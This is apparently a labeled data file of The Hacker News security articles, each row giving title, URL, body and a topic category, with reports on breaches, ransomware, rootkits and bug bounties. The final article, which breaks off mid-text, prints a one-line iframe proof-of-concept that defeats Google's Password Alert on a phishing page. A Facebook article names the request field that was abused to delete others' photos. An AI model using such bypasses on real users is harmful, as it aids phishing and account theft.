Thousands of Israeli websites hacked by Pakistani hackers for Palestine supports,https://thehackernews.com/2013/08/thousands-of-israeli-websites-hacked-by.html,"A cyber attack campaign is ongoing and targeting thousands of Israeli websites by Pakistani hackers, in support of Palestine people.
They had already infiltrated reportedly 650 Israel websites listen on Pastebin and upload their page with custom messages on servers. The hacker claimed and told 'The Hacker News' that they will release more hacked websites list soon.

The hacker behind the massive attack mentioned his online name as ""H4x0r HuSsY"" and the message says, ""LONG LIVE PALESTINE - PAKISTAN ZINDABAD HAPPY INDEPENDENCE DAY TO & FROM TEAM MADLEETS"".

Hacked websites belong to Semi-Government, Personal and Israeli Corporates. At the time of writing, most of the websites still having deface page uploaded to their server.

A few months back World wide Hackers and especially Anonymous group declared massive 'cyber war' on Israel after IDF threatens to cut off internet in Gaza.

",Cyber_Attack
Latest Java vulnerability exploitation leads to ransomware,https://thehackernews.com/2012/11/latest-java-vulnerability-exploitation.html,"Imagine someone getting access to your computer, encrypting all your family photos and other priceless files, and then demanding a ransom for their safe return. That is what ransomware is all about. Symantec's latest research report suggests police-themed ransomware could be a replacement to the once-lucrative fake antivirus scareware trade. According to report, Ransomware distributors are raking in around $5 million dollars a year and the spoils are being spread among just 16 crime groups. Symantec's estimates suggest a significant but not yet thriving crime business, which delivers each operation, on average, $300,000 a year.

Reticently identified Oracle Java SE Remote Java Run time Environment vulnerability ( CVE-2012-5076 ) leads to Geo located Ransomware Malware. Java vulnerability actually can allows attacker to unauthorized disclosure of information, unauthorized modification and disruption of service.
This Ransomware shows a bogus notification, that pretends to be from the their local Police Department, that your computer has been blocked due to it being involved with the distribution of pornographic material, SPAM and copyrighted content. So, Police virus will lock you out of your computer and applications. This vulnerability can be exploited over multiple protocols and affects versions are 7 Update 7.

@kafeine posted a detailed technical explanation of the vulnerability on his blog and users are advised to update they're Java or to completely remove it, Eric Romang said. There is a video demonstration (Please do not visit any link provided in video, can be malicious in nature) of CVE-2012-5076 Oracle Java Exploitation from Eric:


The Police Ransom is a scam and you should ignore any alert that this malicious software might generate and remove this Trojan ransomware from your computer using a good antivirus product. Under no circumstance should you send any money to this cyber criminals,as this could lead to identity theft,and if you have, you should contact your credit card company and dispute the charge stating that the program is a scam and a computer virus.

",Vulnerability
ICQ vulnerable to account theft using JavaScripts,https://thehackernews.com/2011/07/icq-vulnerable-to-account-theft-using.html,"ICQ vulnerable to account theft using JavaScripts

In security advisories for ICQ (https://noptrix.net/advisories/icq_cli_xss.txt)and the ICQ web site (https://noptrix.net/advisories/icq_web_xss.txt), security researcher Levent Kayan warns that both the ICQ instant messenger for Windows and the ICQ web site contain vulnerabilities that potentially allow attackers to take control of a user's ICQ account. According to Kayan ICQ doesn't adequately check user's profile information and fails properly to analyse status messages, which can be freely chosen by users, to see if they contain executable code. Kayan recently discovered a similar hole in the Skype client.

Heise Security was able to reproduce the flaw discovered by Kayan using the current 7.5 version of ICQ. ICQ told that it was in the process of developing and testing a security fix.

",Vulnerability
Bell Canada Hacked: Data of 1.9 Million Customers Stolen,https://thehackernews.com/2017/05/bell-telecom-hacked.html,"While we all were busy in the WannaCry ransomware menace, two separate data breaches have been reported, one in DocuSign, a major provider of electronic signature technology, and another in BELL, Canada's largest telecommunications company.

Canadian mobile phone, TV, and internet service provider Bell on Monday confirmed that the company had been hit by an unknown hacker who has managed to access its customer information illegally.

In a brief statement released by Bell Canada, the company said an unknown hacker managed to have his hands on data of millions of Bell customers.

However, the company did not mention the compromised customer details stolen in the hack were pulled from which particular service.

The company said email addresses, names and telephone numbers of its customers had been accessed in the breach.

How many victims Affected?
Bell confirmed the hack and said the unknown hacker has managed to gain access to information on nearly 2 million customers.
""The illegally accessed information contains approximately 1.9 million active email addresses and approximately 1,700 names and active phone numbers,"" the company said.
However, Bell assured its customers that there's no indication of hacker's access to ""financial, password or other sensitive personal information,"" and that the incident is not linked to the global WannaCry ransomware attacks.
What's the Missing Link?
The incident seems to be an extortion attempt by a hacker or group of hackers who posted some of the stolen data of Bell Canada customers online and threatened to leak more data if the company fails to cooperate.
""We are releasing a significant portion of Bell.ca's data due to the fact that they have failed to [co-operate] with us,"" reads a post on PasteBin published Monday afternoon, several hours before Bell Canada released its apology.
""This shows how Bell doesn't care for its [customers'] safety and they could have avoided this public announcement… Bell, if you don't [co-operate], more will leak :).""

There is still no explanation for who is behind the extortion demand or what sort of cooperation the hackers were seeking for, but it appears Bell Canada refused to pay the ransom demand.

However, this information remains unconfirmed.

What is Bell Canada doing? The Canada's largest telecommunication said the company is working with the Canadian law enforcement authorities to figure out who was responsible for the attack.
""We apologize to Bell customers for this situation and are contacting those affected directly,"" the company said.
""Bell took immediate steps to secure affected systems. The company has been working closely with the RCMP cyber crime unit in its investigation and has informed the Office of the Privacy Commissioner.""

What should Bell Canada customers do?

While Bell Canada believes there is ""minimal risk involved for those affected"" by the attack, having access to customer information, including email addresses, names and/or telephone numbers, opens the opportunity for targeted phishing attacks to customers.

So, users should particularly be alert of any phishing email, which are usually the next step of cyber criminals after a breach to trick users into giving up further details like financial information.

For the obvious reasons, all Bell Canada customers are highly recommended to change their passwords as soon as possible.

",Data_Breaches
The Rise of the Open Bug Bounty Project,https://thehackernews.com/2020/02/open-bug-bounty-project.html,"Can you imagine launching a global bug bounty platform with almost 500,000 submissions and 13,000 researchers without consuming a cent from venture capitalists? If not, this success story is for you.

The once skyrocketing bug bounty industry seems to be not in the best shape today. While prominent security researchers are talking about a growing multitude of hurdles they experience with the leading commercial bug bounty platforms, the latter are trying to reinvent themselves as ""next-generation penetration testing"" or similar services. You be the judge of how successful they will be.

Generous venture funds have poured many millions into rapidly spending bug bounty startups that have not replaced Managed Penetration Testing (MPT) services (as some declared). However, these startups have positively improved the price/quality ratio of pen testing services on the global market.

Amid the uncertainty for the future of commercial bug bounty platforms, the not-for-profit Open Bug Bounty project has demonstrated quite impressive growth and traction in its annual report from 2019:

Just in 2019 the non-commercial, ISO 29147 based, bug bounty platform reported the following:

203,449 security vulnerabilities were reported in total (500 per day), which is a 32% year-to-year growth
101,931 vulnerabilities were fixed by website owners, showing a 30% growth compared to the previous year
5,832 new security researchers joined the community, taking the total number of researchers and security experts to 13,532
383 new bug bounty programs were created by website owners, now offering 657 programs in total with over 1,342 websites to test

Today, Open Bug Bounty already hosts 680 bug bounties, offering monetary or non-monetary remuneration for security researchers from over 50 countries. Global companies such as Telekom Austria, Acronis, or United Domains run their bug bounties at Open Bug Bounty.

Among happy website owners, who thanked the researchers for coordinated and responsible disclosure via the platform, one can find Dell, IKEA, Twitter, Verizon, Philips, several governmental institutions and international organizations, some law schools and law firms, and even the American Bar Association (ABA) – not to be confused with beer-drinking though.

Initially, Open Bug Bounty accepted submissions of XSS, CSRF, Improper Access Control, and other security issues on any website condition to strictly non-intrusive testing, coordinated disclosure and respect of their code of conduct:

In 2019, the situation evolved by enabling anyone to launch a bug bounty for his or her website without any fees or commissions, accessible to all 13,000 researchers:

Open Bug Bounty later announced the enhancement of the existing DevSecOps integrations with new tools and instruments, supplementing the already available SDLC integrations with Jira and Splunk.

Interestingly, the 2019 report also mentions growing interest from cybersecurity companies in partnering with or even acquiring the project, however, it clearly states that the platform will always maintain its openness and integrity.

We managed to get an exclusive interview with the Open Bug Bounty team about the future of the project:

How do you see 2020 for the Open Bug Bounty?
We will pursue our relentless expansion by adding new features, options, and integrations. We carefully listen to our community and try to implement all improvements beneficial for website owners and security researchers. Agility, simplicity, and reliability are all key priorities for us when building new features.

Do you plan to partner with a commercial bug bounty projects or a cybersecurity company?
We are open to proposals that will help us improve the project, maintaining an open and cozy place for website owners, and security researchers, that is governed by respect and fairness.

Are you looking for venture funding or donations?
We are a small group of cybersecurity enthusiasts, spending our spare time on the project between family life and work. For the moment, we feel pretty comfortable with the workload and even managed to refresh the design making it brighter and cheerful. We purposely don't accept donations and do not display commercial ads, given that our community is foremost driven by a dream to secure the Web.

How visible is your impact on the cybersecurity industry?
Our researchers and website owners are probably the best people to answer this question. From our side, we see an increasing number of cybersecurity students who start their practice with Open Bug Bounty, software developers helping their peers to maintain better security and professional bug hunters seeking a more transparent alternative to commercial bug bounty platforms. We drive attention to application security, promote the OWASP project, and try to raise global web security awareness amid website owners and software developers.

Do you perceive commercial bug bounty platforms as your competitors?
No, we rather complement each other in one way or another. It's like open source software and commercial software. Their philosophy is fairly different, but they coexist in harmony and add value to each other. The more offerings that exist on the market, the better off consumers and other actors will be.

How can one get in touch with you?
There is a secure web form on our website. Drop us your contact details there, and we will get back to you.

On behalf of The Hacker News, we sincerely wish the Open Bug Bounty team a well-deserved success in what they do to improve global web security.

Next Steps:
Read Open Bug Bounty 2019 Annual Report
Start your bug bounty program at no cost
Join the community of security researchers

",Vulnerability
Hacking Team: We're Victim of a Criminal Cyber Attack,https://thehackernews.com/2015/07/hacking-team-press-statement.html,"Hacking Team, the Italy-based spyware company that sells spying software to law enforcement agencies worldwide, says the company has always operated with the law and regulation in an ethical manner.

However, there was only one Violation of Law in this entire event, and that is – ""the massive cyber attack on the Hacking Team."" company stated.

The recent hack on Hacking Team exposed nearly 500GB of massive internal documents including internal emails, hacking tools, zero-day exploits, surveillance tools, source code for Spyware and a spreadsheet listing every government client with date of purchase and amount paid.

Hacking Team Hack and Media Reports:

The attack on Hacking Team was really huge in every sense. The team finally shows its disappointment with media on its hacking incident saying, the company that helps government fight crimes is being treated as the culprits, and the criminals who attacked the company are not.
""Had a media company been attacked as Hacking Team has been, the press would be outraged,"" Hacking Team wrote in its press release Wednesday.
But, every media including us have mentioned that Hacking Team got hacked, which by default indicates that they were the victim to cyber crime.

So far, neither they nor anyone in media knows who has hacked and leaked 500GB of internal data belonging to Hacking Team.

So, what do they expect from Media to talk about?
The Unknown Hacker, about whom no one knows,
or the 500 GB of leaked Hacking Team's Secrets
Hacking Team Spyware: Fighting for Crime or aiding Surveillance?

Apart from this, the Hacking Team claimed that the strong spyware and hacking tools developed by the company are actually required by the law enforcement agencies to fight crime and terrorism.

We all know that what NSA and other government agencies are doing (espionage/surveillance) with such capabilities, instead of putting every effort to fight crime and terrorism.

Recently, a 46-year-old member of South Korea's National Intelligence Service (NIS) apparently committed suicide after it was revealed that the Asian country bought spying tools from the Hacking Team.

A Suicide note left by the agent at the scene referenced the Hacking Team controversy, and claimed his intelligence team did not use Hacking Team tools to spy on South Korean citizens' mobile phone or any other online communications.

This incident could be part of the same conspiracy, which is yet to be investigated.

Some Facts Highlighted by Hacking Team

Highlighting the facts about its recent hack attack, the company says the attackers stole and exposed the personal information of its employees and some of its clients.

However, the attackers were unable to access the data collected by company's clients using purchased spying software, as such information is only stored on the customer's systems and can't be accessed by the company itself.

The attackers also exposed some of its source code on the Internet, but according to Hacking Team, the essential elements of its source code were not compromised in the attack.

The company agreed of selling its equipments to countries, including Ethiopia, Sudan, Russia and South Korea among others, but always sold ""strictly under the law and regulation.""

""There have been reports that our software contained some sort of ""backdoor"" that permitted Hacking Team insight into the operations of our clients or the ability to disable their software,"" The company says.

""This is not true.""

""No such backdoors were ever present, and clients have been permitted to examine the source code to reassure themselves of this fact.""

The company also denied its involvement in any program that make use of airborne drones to attack computers and smartphone devices through Wi-Fi networks as it has been reported earlier this week.

",Malware
Security weakness in Android App SSL Implementations,https://thehackernews.com/2012/10/security-weakness-in-android-app-ssl.html,"The most common approach to protect data during communication on the Android platform is to use the Secure Sockets Layer (SSL) or Transport Layer Security (TLS) protocols. Thousands of applications in the Google Play market that are using these implementations.

A group of researchers including Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith from Distributed Computing & Security Group - Leibniz University of Hannover, Hannover, Germany and Lars Baumgärtner, Bernd Freisleben from Department of Math. & Computer Science - Philipps University of Marburg, Marburg, Germany, have presented a paper that most of these applications contain serious mistakes in the way that SSL/TLS is implemented, that leaving them vulnerable to man-in-the-middle attacks that could compromise sensitive user data such as banking credentials, credit card numbers and other information.

Tests performed on 100 selected apps confirmed that 41 of them were vulnerable to known attacks. The team also built a proof-of-concept tool called MalloDroid that was designed to find the potentially exploitable SSL bugs in Android apps, which they then investigated further to determine whether an attack was in fact possible.

They have successfully captured credentials of American Express, Diners Club, Paypal, bank accounts, Facebook, Twitter, Google, Yahoo, Microsoft Live ID, Box, WordPress, remote control servers, arbitrary email accounts, and IBM Sametime.

It was possible to remotely inject and execute code in an app created by a vulnerable app-building framework,"" the authors wrote in their paper, ""Why Eve and Mallory Love Android: An Analysis of Android (In)Security"".

It is important to understand the potential risks and then make sure you are fully protected against them. To know more about What SSL is , Download Whitepaper - ""Beginner Guide to SSL Certificates"".

",Vulnerability
Rule 41 — FBI Gets Expanded Power to Hack any Computer in the World,https://thehackernews.com/2016/11/fbi-rule-41-hacking.html,"Hacking multiple computers across the world just got easier for the United States intelligence and law enforcement agencies from today onwards.

The changes introduced to the Rule 41 of the Federal Rules of Criminal Procedure by the United States Department of Justice came into effect on Thursday, after an effort to block the changes failed on Wednesday.

The change grants the FBI much greater powers to hack into multiple computers within the country, and perhaps anywhere in the world, with just a single warrant authorized by any US judge (even magistrate judges). Usually, magistrate judges only issue warrants for cases within their jurisdiction.

That's the same the FBI did in its 2015 investigation into child pornography site Playpen, in which the agency hacked into some 8,700 computers across 120 different countries.

The Supreme Court approved the changes to Rule 41 in April, allowing any U.S. judge to issue search warrants that give the FBI and law enforcement agencies authority to remotely hack computers in any jurisdiction, or even outside the United States.

Democratic Senator Ron Wyden attempted three times to block changes to Rule 41 that potentially risks people using Tor, a VPN, or some other anonymizing software to hide their whereabouts, but the efforts were blocked by Republican Senator John Cornyn of Texas.

The rule change should take effect on 1st December, today, barring surprises.

On the one hand, privacy advocates and legal experts have described the rule change as the extensive expansion of extraterritorial surveillance power that will allow agencies like the FBI to carry out international hacking operations with a lot less of a hassle.

On the other hand, the DOJ argued that the changes to the rule will help investigate modern internet criminals, allowing investigators access computers whose locations are ""concealed through technological means,"" like the Tor anonymity network or VPNs (Virtual Private Networks), and devices used in botnets that have become powerful cyber weapons.

Assistant Attorney General Leslie Caldwell highlighted these concerns in a blog post published last week, saying if a criminal suspect is using Tor or VPN to hide its real location, it becomes tough for investigators to know his/her current location.
""So in those cases, the Rules do not clearly identify which court the investigators should bring their warrant application to,"" Caldwell said.
But what would happen if the FBI hacks the botnet victims, rather than the perpetrators? Or what if the government abuses this power to target nation states?

In a speech, Wyden said that the changes to Rule 41 amounted to ""one of the biggest mistakes in surveillance policy in years,"" giving federal investigators ""unprecedented authority to hack into Americans' personal phones, computers, and other devices,"" Reuters reports.

Other critics worry that the changes to Rule 41 would give the FBI unfettered ability to hack innocent users whose electronic devices have been infected with botnet malware without their knowledge, or anyone who keeps their identities private online.

To this concern, Caldwell argued that investigators accessing the devices of botnet victims ""would, typically, be done only to investigate the extent of the botnet,"" or in order to ""obtain information necessary to liberate victims' computers from the botnet.""

Caldwell further argued that the rule change would not allow the FBI to conduct ""Mass Hacking;"" in fact, failing to implement the rule change ""would make it more difficult for law enforcement to combat mass hacking by actual criminals.""

",Cyber_Attack
Another Facebook Bug Allowed Anyone to Delete Your Photos,https://thehackernews.com/2017/11/facebook-delete-photos.html,"If you think a website whose value is more than $500 billion does not have any vulnerability in it, then you are wrong.

Pouya Darabi, an Iranian web developer, discovered and reported a critical yet straightforward vulnerability in Facebook earlier this month that could have allowed anyone to delete any photo from the social media platform.

The vulnerability resides in Facebook's new Poll feature, launched by the social media giant earlier this month, for posting polls that include images and GIF animations.

Darabi analyzed the feature and found that when creating a new poll, anyone can easily replace the image ID (or gif URL) in the request sent to the Facebook server with the image ID of any photo on the social media network.
Now, after sending the request with another user image ID (uploaded by someone else), that photo would appear in the poll.
""Whenever a user tries to create a poll, a request containing gif URL or image id will be sent, poll_question_data[options][][associated_image_id] contains the uploaded image id,"" Darabi said. ""When this field value changes to any other images ID, that image will be shown in poll.""

Apparently, if the creator of the poll deletes that post (poll), as demonstrated in the video above, it would eventually delete the source photo as well, whose image ID was added to the request—even if the poll creator doesn't own that photo.

The researcher said he received $10,000 as his bug bounty reward from Facebook after he responsibly reported this vulnerability to the social media network on November 3. Facebook patched this issue on November 5.

This isn't the first time when Facebook has been found dealing with such a vulnerability. In the past, researchers discovered and reported several issues that let them delete videos, photo albums, and comments and modify messages from the social media platform.

Darabi has also previously been awarded by Facebook with a $15,000 bug bounty for bypassing its cross-site request forgery (CSRF) protection systems (in 2015) and another $7,500 for a similar issue (in 2016).

",Vulnerability
Facebook vulnerability allows to view hidden Facebook Friend List,https://thehackernews.com/2013/11/facebook-vulnerability-allows-to-view.html,"Facebook is one of the most powerful and reliable social networking website. It allows users to interact with other users after being friends with one another. Facebook allows users to make the friend list public or private. If it is made private, your friend list won't appear on your publicly viewable profile.
Irene Abezgauz, a security researcher from the Quotium Seeker Research Center has found a vulnerability in Facebook website that allows anyone to see a users' friends list, even when the user has set that information to private.
v
The exploit is carried out by abusing the 'People You May Know' feature on Facebook, which suggests new friends to users. It suggests friends to you based on mutual connections and other criteria such as work or education information.
This Hack is really very simple! All a hacker would have to do would be to create a fake Facebook profile and then send a friend request to their target.

Even if the targeted user never accepted the request, the hacker could see that person's friends via the ""People You May Know"" feature.

But Facebook said that that a hacker would have no way of knowing if the suggested friends represented a user's entire list.

She explained and replied the Facebook,""I could see hundreds of suggestions. So, you know what, it's not all of them. It's 80 percent, so what. There's a reason why I made my friends list private and I don't want people from the internet just looking at who my friends are.""

For now, Facebook hasn't recognized the her finding, but we hope that they will take users' privacy seriously by considering it again to patch the issue.

Update: Mohamed Ahmed, a Security expert from Sudan had reported the exact same flaw to The Hacker News team, back in the month of June. He also had reported to the Facebook team, but according to him they even didn't reply him yet.

",Vulnerability
"After Takedown, GameOver Zeus Banking Trojan Returns Again",https://thehackernews.com/2014/07/after-takedown-gameover-zeus-banking_12.html,"A month after the FBI and Europol took down the GameOver Zeus botnet by seizing servers and disrupting the botnet's operation, security researchers have unearthed a new variant of malware based explicitly on the same Gameover ZeuS that compromised users' computers and collectively formed a massive botnet.

GAMEOVER ZEUS TROJAN
The massive botnet, essentially a collection of zombie computers, specifically was designed to steal banking passwords with the capability to perform Denial of Service (DoS) attacks on banks and other financial institutions in order to deny legitimate users access to the site, so that the thefts kept hidden from the users.

As a result of it, Gameover ZeuS' developers have stolen more than $100 million from banks, businesses and consumers worldwide.

NEW GAMEOVER ZEUS TROJAN
On Thursday, security researchers at the security firm Malcovery came across a series of new spam campaigns that were distributing a piece of malware based on the Gameover Zeus code which is being distributed as an attachment to spam emails, masquerading as legitimate emails from financial institutions, including M&T Bank and NatWest.

""Today Malcovery's analysts identified a new trojan based heavily on the Gameover Zeus binary, the firm's blog post read. ""It was distributed as the attachment to three spam email templates, utilizing the simplest method of infection through which this trojan is deployed.""

ATTACK VECTOR
Malcovery has published a full disclosure and complete rundown of the botnet, which shows that all the malicious emails it sends to lure users contain a zip file with a .scr attachment inside. Once opened, the file uses to hack into zombie computers, and the threat is danger as many anti-virus solutions were not able to detect the malicious software.
""Once the attachment was opened and the malware payload executed, the malware began to make attempts to contact certain websites in accordance with a Domain Generation Algorithm (DGA). The goal of these contact attempts is to make contact with a server that can in turn provide instructions to the malware. Many sandboxes would have failed to launch the malware, as the presence of VMWare Tools will stop the malware from executing,"" the analysis of the malware by Brendan Griffin and Gary Warner of Malcovery says.
""Other sandboxes would not have noticed the successful connection, because the malware took between 6 and 10 minutes to randomly generate the single domain name that was used successfully to launch the new Zeus trojan and download the bank information 'webinject' files from the server.""
This new Gameover Zeus botnet has a more robust implementation that makes it even more difficult to combat than the previous one.

As Malcovery writes, ""this discovery indicates that the criminals responsible for GameOver's distribution do not intend to give up on this botnet even after suffering one of the most expansive botnet takeovers/takedowns in history.""

STATEMENT BY DEPARTMENT OF JUSTICE
On Friday, the Department of Justice released a statement saying that this new Gameover Zeus botnet was not linked with the botnet that it previously targeted.
""The Justice Department reported that all or nearly all of the active computers infected with Gameover Zeus have been liberated from the criminals' control and are now communicating exclusively with the substitute server established pursuant to court order,"" the agency said.

""The Justice Department also reported that traffic data from the substitute server shows that remediation efforts by Internet service providers and victims have reduced the number of computers infected with Gameover Zeus by 31 percent since the disruption commenced.""

",Malware
New Stealthy Rootkit Infiltrated Networks of High-Profile Organizations,https://thehackernews.com/2021/05/new-stealthy-rootkit-infiltrated.html,"An unknown threat actor with the capabilities to evolve and tailor its toolset to target environments infiltrated high-profile organizations in Asia and Africa with an evasive Windows rootkit since at least 2018.
Called 'Moriya,' the malware is a ""passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them,"" said Kaspersky researchers Mark Lechtik and Giampaolo Dedola in a Thursday deep-dive.
The Russian cybersecurity firm termed the ongoing espionage campaign 'TunnelSnake.' Based on telemetry analysis, less than 10 victims around the world have been targeted to date, with the most prominent targets being two large diplomatic entities in Southeast Asia and Africa. All the other victims were located in South Asia.
The first reports of Moriya emerged last November when Kaspersky said it discovered the stealthy implant in the networks of regional inter-governmental organizations in Asia and Africa. Malicious activity associated with the operation is said to have dated back to November 2019, with the rootkit persisting in the victim networks for several months following the initial infection.
""This tool was used to control public facing servers in those organizations by establishing a covert channel with a C2 server and passing shell commands and their outputs to the C2,"" the company said in its APT trends report for Q3 2020. ""This capability is facilitated using a Windows kernel mode driver.""
Rootkits are particularly dangerous as they allow attackers to gain high privileges in the system, enabling them to intercept core input/output operations conducted by the underlying operating system and better blend with the landscape, thus making it difficult to trace the attacker's digital footprints.
Microsoft, for its part, has implemented several protections into Windows over the years to prevent successful deployment and execution of rootkits, which makes Moriya all the more noteworthy.
Bulk of the toolset, apart from the backdoor, consists of both proprietary and well-known pieces of malware such as China Chopper web shell, BOUNCER, Earthworm, and Termite that have been previously used by Chinese-speaking threat actors, giving an insight into the attacker's origins. The tactics, techniques, and procedures (TTPs) used in the attacks also show that the targeted entities fit the victimology pattern associated with Chinese-speaking adversaries.
The revelations come as advanced persistent threats (APTs) continue to ramp up highly-targeted data-stealing missions, while simultaneously going to great lengths to stay under the radar for as long as possible, rebuild their malware arsenal, making them more tailored, complex, and harder to detect.
""The TunnelSnake campaign demonstrates the activity of a sophisticated actor that invests significant resources in designing an evasive toolset and infiltrating networks of high-profile organizations,"" Lechtik and Dedola said. ""By leveraging Windows drivers, covert communications channels and proprietary malware, the group behind it maintains a considerable level of stealth.""

",Malware
Beware: Fake 'The Interview' App Affects Android Users,https://thehackernews.com/2014/12/movie-the-interview-android.html,"""The Interview"", the controversial North Korean-baiting film which appeared to be the root cause of the cyber mishap occurred at Sony Pictures Entertainment that threatened terror attack at theaters showing the movie, now threatens to expose users of Android phones to a malware attack.

Since its release, everyone is talking about ""The Interview"" — the Seth Rogen and James Franco-starring comedy centered around a TV host and his producer assassinating North Korean dictator Kim Jong Un. Because cybercriminals are known to take advantage of major events where there is a high level of public interest, The Interview became their target.

In a joint investigation, Security researchers of McAfee and Technische Universität Darmstadt and the Center for Advanced Security Research Darmstadt (CASED) has discovered an Android app claiming to download 'The Interview' comedy on their smartphone devices actually infects users' devices with banking trojan in order to steal their financial information.

The Banking Trojan is appeared to be hosted on Amazon Web Services and is delivered via a torrent file. Researchers have identified that the malware campaign is targeting Android users in South Korea and is active from the last few days. The campaign is attempting to exploit the popularity of The Interview movie that triggered tension over its release on Christmas.

The malware trojan, detected by the researchers at McAfee as Android/Badaccents, targets customers of some Korean banks as well as an international bank, Citi Bank. According to researchers, the Trojan is selective about its victims and avoids infection of devices sold in North Korea.
""One aspect which will probably raise eyebrows, is that the malware code includes a routine to check the device's manufacturing information,"" Graham Cluley wrote on his blog. ""If it is set to either 삼지연 (Samjiyon) or 아리랑 (Arirang), smartphone manufacturers whose Android devices are sold in North Korea, the malware will not infect, and instead display a message that an attempt to connect to the server failed.""
The researchers' findings cited by Cluley revealed that at least 20,000 devices have been infected and that the information exfiltrated from the devices is uploaded to a Chinese mail server.

Security researchers at McAfee has notified Amazon Web Security about the malware hosting issue so that the Amazon-hosted files can be removed and prevent further infections. However, other online storage services could be used by cybercriminals for carrying out the campaign.

Usually cybercriminals use third party Android app to distribute trojan malware in order to infect smartphone users, but this is the first time when cyber crooks have chosen torrent websites to deliver the Trojan, probably because ""The Interview"" is already at the top of search results in Korea and most of the countries.

",Cyber_Attack
Kaspersky Internet Security Memory Corruption Vulnerability,https://thehackernews.com/2011/12/kaspersky-internet-security-memory.html,"Kaspersky Internet Security Memory Corruption Vulnerability


Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012.

The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters,which could be exploited by attackers to crash he complete software process.
The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import.
Affected Version(s):
Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012
KIS 2012 v12.0.0.374
KAV 2012 v12.x
Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011
KIS 2011 v11.0.0.232 (a.b)
KAV 11.0.0.400
KIS 2011 v12.0.0.374
Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010
The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png). The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is private tool.

",Vulnerability
Ukraine Police Warns of New NotPetya-Style Large Scale CyberAttack,https://thehackernews.com/2017/10/ukraine-notpetya-cyberattack.html,"Remember NotPetya?

The Ransomware that shut down thousands of businesses, organisations and banks in Ukraine as well as different parts of Europe in June this year.

Now, Ukrainian government authorities are once again warning its citizens to brace themselves for next wave of ""large-scale"" NotPetya-like cyber attack.

According to a press release published Thursday by the Secret Service of Ukraine (SBU), the next major cyber attack could take place between October 13 and 17 when Ukraine celebrates Defender of Ukraine Day (in Ukrainian: День захисника України, Den' zakhysnyka Ukrayiny).

Authorities warn the cyber attack can once again be conducted through a malicious software update against state government institutions and private companies.

The attackers of the NotPetya ransomware also used the same tactic—compromising the update mechanism for Ukrainian financial software provider called MeDoc and swapping in a dodgy update including the NotPetya computer virus.

The virus then knocked computers in Ukrainian government agencies and businesses offline before spreading rapidly via corporate networks of multinational companies with operations or suppliers in eastern Europe.
Presentation by Alexander Adamov, CEO at NioGuard Security Lab
The country blamed Russia for the NotPetya attacks, while Russia denied any involvement.

Not just ransomware and wiper malware, Ukraine has previously been a victim of power grid attacks that knocked its residents out of electricity for hours on two different occasions.

The latest warning by the Ukrainian secret service told government and businesses to make sure their computers and networks were protected against any intrusion.
""SBU notifies about preparing for a new wave of large-scale attack against the state institutions and private companies. The basic aim—to violate normal operation of information systems, that may destabilize the situation in the country,"" the press release reads.
""The SBU experts received data that the attack can be conducted with the use of software updating, including public applied software. The mechanism of its realization will be similar to cyber-attack of June 2017.""

To protect themselves against the next large-scale cyber attack, the SBU advised businesses to follow some recommendations, which includes:

Updating signatures of virus protection software on the server and in the workstation computers.
Conducting redundancy of information, which is processed on the computer equipment.
Providing daily updating of system software, including Windows operating system of all versions.

Since the supply chain attacks are not easy to detect and prevent, users are strongly advised to keep regular backups of their important files on a separate drive or storage that are only temporarily connected for worst case scenarios.

Most importantly, always keep a good antivirus on your system that can detect and block any malware intrusion before it can infect your device, and keep it up-to-date for latest infection-detection.

",Malware
Hacker Finds a Simple Way to Bypass Google Password Alert,https://thehackernews.com/2015/05/hack-google-password.html,"Less than 24 hours after Google launched the new Phishing alert extension Password Alert, a security researcher was able to bypass the feature using deadly simple exploits.

On Wednesday, the search engine giant launched a new Password Alert Chrome extension to alert its users whenever they accidentally enter their Google password on a carefully crafted phishing website that aimed at hijacking users' account.

However, security expert Paul Moore easily circumvented the technology using just seven lines of simple JavaScript code that kills phishing alerts as soon as they started to appear, defeating Google's new Password Alert extension.

Google shortly fixed the issue and released a new update to Password Alert extension that blocked the Moore's exploit. However, Moore discovered another way to block the new version of Password Alert, as well.

The first proof of concept exploit by Moore relied on a JavaScript that looks for instances of warning screen every five milliseconds and simply removes anything it detects. Generally, the warning screen is still there, but the exploit prevented the user from ever seeing it.

Moore (@Paul_Reviews) posted the proof-of-concept JavaScript exploit yesterday, explaining that Google's Password Alert can be bypassed by anyone using just seven lines of code.

Here's the Kicker:

However, Google assured its users that the company has now fixed the issue, releasing Password Alert version 1.4. ""To update quickly, go to Chrome://extensions/ , enable developer mode, click update extensions now,"" Google engineer Drew Hintz said.

But Moore didn't want to stop here. He began analyzing the code for the extension more closely and figured out another way to bypass Password Alert, effectively killing phishing alerts as soon as they generated.

No simple this time baby:

And according to Moore, the second exploit developed by him will be more difficult for Google to repair.

Moore also provided a proof-of-concept video on YouTube showing the attack in action. You can watch the video below:

Now, let's see how much time the search engine giant would take to fix this issue in its all new Password Alert Chrome Extension.

The technology was just launched by Google on Wednesday, so you can expect some flaws at its early stage. Password Alert extension has been installed by nearly 30,000 Chrome users, who are advised to update version 1.4, the latest version available at the moment, to fix the first issue.

In order to fix another problem, you may have to wait until Google releases the next update. Till then, you are advised to turn on two-factor authentication and use a good password manager to protect yourself against phishing attacks.

Update: GOOGLE ALERT 1.6 ALSO BYPASSED

After Google released the updated version 1.6 of Password Alert that fixed the second exploit rolled out by Paul Moore, security researchers from Securify firm discovered a way to again bypass Google's Password Alert feature in the latest version.

The Researchers created a new exploit that works against both Password Alert version 1.5 and version 1.6, which executes in following two steps:

1. Disable Javascript: In HTML, iFrame has a sandbox attribute using which an attacker can disable Javascript for particular iframe only. Following example will completely disable Password Alert. The PoC is fairly simple:
<iframe src=""phishing_page.htm"" sandbox=""allow-forms""></iframe>
